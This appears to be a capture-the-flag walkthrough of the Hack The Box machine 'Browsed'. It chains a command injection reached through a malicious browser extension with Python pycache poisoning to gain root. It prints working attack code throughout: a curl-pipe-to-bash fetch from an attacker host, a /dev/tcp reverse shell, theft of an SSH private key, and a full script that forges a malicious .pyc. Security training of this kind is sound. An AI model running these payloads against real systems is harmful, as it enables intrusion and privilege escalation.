Browsed is a medium-difficulty Linux machine on Hack The Box that requires chaining multiple vulnerabilities to achieve compromise. It demonstrates the importance of proper sandboxing, endpoint input sanitization, and the risks posed by malicious browser extensions. The machine also highlights lesser-known vulnerabilities related to Python caching mechanisms.
We kick things off with an NMAP scan. We run a port scan to quickly discover all open TCP ports.
nmap --min-rate 1000 10.129.9.202 -p-
Nmap scan report for 10.129.9.202
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
This reveals 2 open ports for SSH and HTTP. Next, we perform a detailed service and default scripts scan on these ports.
sudo nmap --min-rate 1000 -sVC 10.129.9.202 -p 22,80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 21:37 IST
Nmap scan report for 10.129.9.202
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds
The scan reveals that the machine hosts a website on nginx v1.24.0 and for SSH it uses OpenSSH 9.6p1. Next, we move on to the website.
On visiting, we find the website belongs to a browser-focused company that develops browser extensions. It even allows us to upload our own extensions based on Chrome v134.
We also find a page that provides us with sample extensions - http://10.129.9.202/samples.html.
Moving on to the Upload Extension page, there is an option to upload the zip file containing the extension. We try uploading a valid extension first (obtained through the samples page).
The output produced looks like logs of an automated browser that is being used for testing the extensions. The logs reveal a virtual domain hosted on the machine - http://browsedinternals.htb.
To explore the newly found domain, we add it to our /etc/hosts.
echo "10.129.9.202 browsedinternals.htb" | sudo tee -a /etc/hosts
Visiting the site, we find Gitea. Exploring a bit further reveals a repository named MarkdownPreview hosted by a user larry which might be accessible on the internal network of the machine.
Going through app.py we find a vulnerable flask endpoint which directly uses the rid parsed through the url as an argument for routines.sh. This can be used to execute shell commands.
The file also reveals that the Flask server runs on port 5000.
To exploit the vulnerability above we can create a malicious extension to execute a command that gives us a reverse shell.
To create the malicious extension:
mkdir toshith
cd toshith
cat > background.js << "EOF"
const URL = "http://127.0.0.1:5000/routines/a[$(curl%20<AttackerIP>:8000|bash)]";
console.error("toshith: service worker started");
chrome.runtime.onInstalled.addListener(async () => {
try {
console.error("toshith: fetching", URL);
const res = await fetch(URL, {mode: "no-cors"});
if (!res.ok) {
console.error("toshith: http error", res.status);
return;
}
const text = await res.text();
console.error("toshith: response begin");
console.error(text);
console.error("toshith: response end");
} catch (e) {
console.error("toshith: fetch failed", e.toString());
}
});
EOF
cat > manifest.json << "EOF"
{
"manifest_version": 3,
"name": "Toshith Fetch Logger",
"version": "1.0.0",
"background": {
"service_worker": "background.js"
},
"host_permissions": [
"http://127.0.0.1/*",
"http://127.0.0.1:5000/*"
]
}
EOF
zip -r ../toshith.zip *
cd ..
* Replace <AttackerIP> with your IP address.
This gives us the malicious zip file.
Next, we start a simple http server that would return the command that we want the machine to execute.
cat > index.html << EOF
bash -i >& /dev/tcp/<AttackerIP>/4444 0>&1
EOF
python3 -m http.server
We start our netcat listener to listen for the reverse shell.
rlwrap nc -lvnp 4444
Finally, we upload the malicious extension to the upload.php page.
As soon as we click on the Send To Developer button, we get a hit on our python web server and a shell as larry.
The user flag can be found in Larry's home directory.
To get an SSH connection as larry, we can use the SSH key located at /home/larry/.ssh/id_ed25519.
The key can be viewed using
cat /home/larry/.ssh/id_ed25519
And simply copied to our attack machine. To use the key from our attack machine,
chmod 400 larry.key
ssh -i larry.key [email protected]
where larry.key is the name of the private key.
Having obtained an SSH connection as larry, we start with basic reconnaissance.
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Apparently, larry can run extension_tool.py as root.
We can read /opt/extensiontool/extension_tool.py uisng cat.
Reading the code and going through /opt/extensiontool directory reveals that the script uses python 3.12 and pycache.
A pyc file is created whenever extension_utils.py is executed. For example, when using the command:
sudo /opt/extensiontool/extension_tool.py --ext Timer
Searching the web, we come across this blog post which explains pycache poisoning for privilege escalation.
To obtain the root flag, we create a python script to place malicious pycache at /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc that when executed, will make the root flag readable.
cat > /tmp/hijack.py << 'EOF'
import marshal
import struct
import os
src = '/opt/extensiontool/extension_utils.py'
st = os.stat(src)
pyc_path = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
payload = '''import os
os.system("cp /root/root.txt /home/larry/root.txt && chmod 644 /home/larry/root.txt && chown larry:larry /home/larry/root.txt")
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError
MANIFEST_SCHEMA = {
"type": "object",
"properties": {
"manifest_version": {"type": "number"},
"name": {"type": "string"},
"version": {"type": "string"},
"permissions": {"type": "array", "items": {"type": "string"}},
},
"required": ["manifest_version", "name", "version"]
}
def validate_manifest(path):
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
try:
validate(instance=data, schema=MANIFEST_SCHEMA)
print("[+] Manifest is valid.")
return data
except ValidationError as e:
print("[x] Manifest validation error:")
print(e.message)
exit(1)
def clean_temp_files(extension_dir):
temp_dir = '/opt/extensiontool/temp'
if os.path.exists(temp_dir):
shutil.rmtree(temp_dir)
print(f"[+] Cleaned up temporary directory {temp_dir}")
else:
print("[+] No temporary files to clean.")
exit(0)
'''
code_obj = compile(payload, 'extension_utils.py', 'exec')
magic = b'\xcb\x0d\x0d\x0a'
flags = struct.pack('<I', 0)
mtime = struct.pack('<I', int(st.st_mtime))
size = struct.pack('<I', st.st_size)
bytecode = marshal.dumps(code_obj)
with open(pyc_path, 'wb') as f:
f.write(magic)
f.write(flags)
f.write(mtime)
f.write(size)
f.write(bytecode)
os.utime(pyc_path, (st.st_atime, st.st_mtime))
print(f"Hijacked {pyc_path}")
EOF
python3 /tmp/hijack.py
Finally we execute the extension_tool.py with super user privileges and read the root flag.
sudo /opt/extensiontool/extension_tool.py --ext Timer
ls -la /home/larry/root.txt
cat /home/larry/root.txt
This concludes the Browsed machine!